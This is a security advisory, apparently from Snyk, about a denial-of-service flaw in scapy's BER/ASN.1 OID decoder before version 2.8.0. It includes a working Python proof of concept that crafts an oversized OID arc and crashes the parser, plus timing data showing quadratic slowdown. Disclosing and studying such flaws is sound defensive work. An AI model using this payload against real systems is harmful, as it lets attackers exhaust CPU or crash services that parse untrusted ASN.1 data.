Inefficient Algorithmic Complexity Affecting scapy package, versions [,2.8.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.37% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-SCAPY-22552446
  • published15 Nov 2026
  • disclosed13 Nov 2026
  • credittynus2

Introduced: 13 Nov 2026

NewCVE-2026-128237  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade scapy to version 2.8.0 or higher.

Overview

scapy is a Python-based interactive packet manipulation program and library.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via BER_num_dec() and BERcodec_OID.do_dec() in scapy/asn1/ber.py. An attacker can send ASN.1/BER data containing an OID arc encoded with an arbitrarily large number of base-128 continuation bytes. Each byte shifts a growing Python integer accumulator left by 7 bits, and the subsequent conversion of that integer to decimal text via str(k) produces quadratic CPU consumption relative to input size. On Python 3.11+ with the default integer-string conversion safety limit, even moderately sized payloads trigger an uncaught ValueError that crashes the parse path.

PoC

from scapy.asn1.ber import BERcodec_OID, BER_len_enc
import scapy.layers.snmp  # initializes conf.mib for ASN1_OID construction

n = 2050
arc = b"\x81" * (n - 1) + b"\x00"
content = b"\x2a" + arc  # OID prefix 1.2 + one oversized arc
der = b"\x06" + BER_len_enc(len(content)) + content

BERcodec_OID.dec(der)

Observed result:

ValueError: Exceeds the limit (4300 digits) for integer string conversion

Scaling Evidence

Timing BER_num_dec(b"\x81" * (n - 1) + b"\x00") on the same host:

n bytes   median time   ratio vs 2x smaller
1K        0.181 ms
2K        0.509 ms      2.81x
4K        1.568 ms      3.08x
8K        5.125 ms      3.27x
16K       17.678 ms     3.45x
32K       68.847 ms     3.89x
64K       273.197 ms    3.97x
128K      1063.728 ms   3.89x

A linear decoder would stay near 2x per input doubling; this trends toward 4x.

CVSS Base Scores

version 4.0
version 3.1